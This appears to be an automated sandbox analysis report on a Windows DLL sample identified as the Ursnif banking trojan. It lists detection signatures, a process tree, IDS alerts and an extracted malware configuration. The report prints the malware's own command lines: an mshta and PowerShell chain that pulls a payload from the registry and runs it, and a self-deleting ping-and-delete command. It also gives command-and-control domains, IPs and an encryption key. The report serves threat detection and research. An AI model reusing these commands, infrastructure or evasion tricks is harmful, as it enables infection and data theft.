Windows
Analysis Report
EIo7Dh2fzn
Overview
General Information
Detection
Ursnif
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Found malware configuration
Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL
Sigma detected: Windows Shell File Write to Suspicious Folder
Hooks registry keys query functions (used to hide registry keys)
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
May check the online IP address of the machine
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Writes to foreign memory regions
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Sigma detected: Mshta Spawning Windows Shell
Modifies the import address table of user mode modules (user mode IAT hooks)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider
Classification
- System is w10x64
loaddll32.exe (PID: 2108 cmdline:
loaddll32. exe "C:\Us ers\user\D esktop\EIo 7Dh2fzn.dl l" MD5: 7DEB5DB86C0AC789123DEC286286B938) cmd.exe (PID: 2256 cmdline:
cmd.exe /C rundll32. exe "C:\Us ers\user\D esktop\EIo 7Dh2fzn.dl l",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D) rundll32.exe (PID: 5304 cmdline:
rundll32.e xe "C:\Use rs\user\De sktop\EIo7 Dh2fzn.dll ",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D) control.exe (PID: 7016 cmdline:
C:\Windows \system32\ control.ex e -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F) rundll32.exe (PID: 3796 cmdline:
"C:\Window s\system32 \rundll32. exe" Shell 32.dll,Con trol_RunDL L -h MD5: 73C519F050C20580F8A62C849D49215A)
mshta.exe (PID: 6308 cmdline:
C:\Windows \System32\ mshta.exe" "about:<h ta:applica tion><scri pt>N505='w script.she ll';resize To(0,2);ev al(new Act iveXObject (N505).reg read('HKCU \\\Softwar e\\AppData Low\\Softw are\\Micro soft\\54E8 0703-A337- A6B8-CDC8- 873A517CAB 0E\\\TestL ocal'));if (!window.f lag)close( )</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB) powershell.exe (PID: 6456 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" new-alias -name xwfw hgurt -val ue gp; new -alias -na me ctmwds -value iex ; ctmwds ( [System.Te xt.Encodin g]::ASCII. GetString( (xwfwhgurt "HKCU:Sof tware\AppD ataLow\Sof tware\Micr osoft\54E8 0703-A337- A6B8-CDC8- 873A517CAB 0E").UrlsR eturn)) MD5: 95000560239032BC68B4C2FDFCDEF913) conhost.exe (PID: 6472 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) csc.exe (PID: 6700 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cs c.exe" /no config /fu llpaths @" C:\Users\u ser\AppDat a\Local\Te mp\kydykac f\kydykacf .cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D) cvtres.exe (PID: 6716 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES48A2.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\kyd ykacf\CSC5 BFFE88D591 3473D926BA 7D4657E75A 7.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D) csc.exe (PID: 6744 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cs c.exe" /no config /fu llpaths @" C:\Users\u ser\AppDat a\Local\Te mp\pwbmblo q\pwbmbloq .cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D) cvtres.exe (PID: 6768 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES5890.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\pwb mbloq\CSCE 4199BE8E23 4D5980964D 8FC9C2D7EF .TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D) explorer.exe (PID: 3616 cmdline:
C:\Windows \Explorer. EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D) cmd.exe (PID: 3524 cmdline:
C:\Windows \System32\ cmd.exe" / C ping loc alhost -n 5 && del " C:\Users\u ser\Deskto p\EIo7Dh2f zn.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F) conhost.exe (PID: 6596 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496) PING.EXE (PID: 6356 cmdline:
ping local host -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
- cleanup
{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif | Yara detected Ursnif | Joe Security | ||
Click to see the 15 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
JoeSecurity_Ursnif_1 | Yara detected Ursnif | Joe Security | ||
Click to see the 3 entries |
System Summary |
---|
Source: | Author: Florian Roth: |
Source: | Author: Nikita Nazarov, oscd.community: |
Source: | Author: Michael Haag: |
Source: | Author: Florian Roth: |
Source: | Author: Perez Diego (@darkquassar), oscd.community: |
Source: | Author: Florian Roth: |
Source: | Author: juju4, Jonhnathan Ribeiro, oscd.community: |
Source: | Author: Florian Roth: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Source: | Author: frack113: |
Source: | Author: frack113: |
Source: | Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): |
Timestamp: | 04/28/22-15:07:06.754321 04/28/22-15:07:06.754321 |
SID: | 2033203 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:07:08.453324 04/28/22-15:07:08.453324 |
SID: | 2033203 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:10:58.119012 04/28/22-15:10:58.119012 |
SID: | 2823044 |
Source Port: | 49843 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:10:57.532598 04/28/22-15:10:57.532598 |
SID: | 2823044 |
Source Port: | 49842 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:10:57.185124 04/28/22-15:10:57.185124 |
SID: | 2031744 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:07:07.516172 04/28/22-15:07:07.516172 |
SID: | 2033203 |
Source Port: | 49765 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:06:46.652992 04/28/22-15:06:46.652992 |
SID: | 2033203 |
Source Port: | 49760 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |
Timestamp: | 04/28/22-15:10:56.966545 04/28/22-15:10:56.966545 |
SID: | 2031743 |
Source Port: | 49840 |
Destination Port: | 80 |
Protocol: | TCP |
Classtype: | A Network Trojan was detected |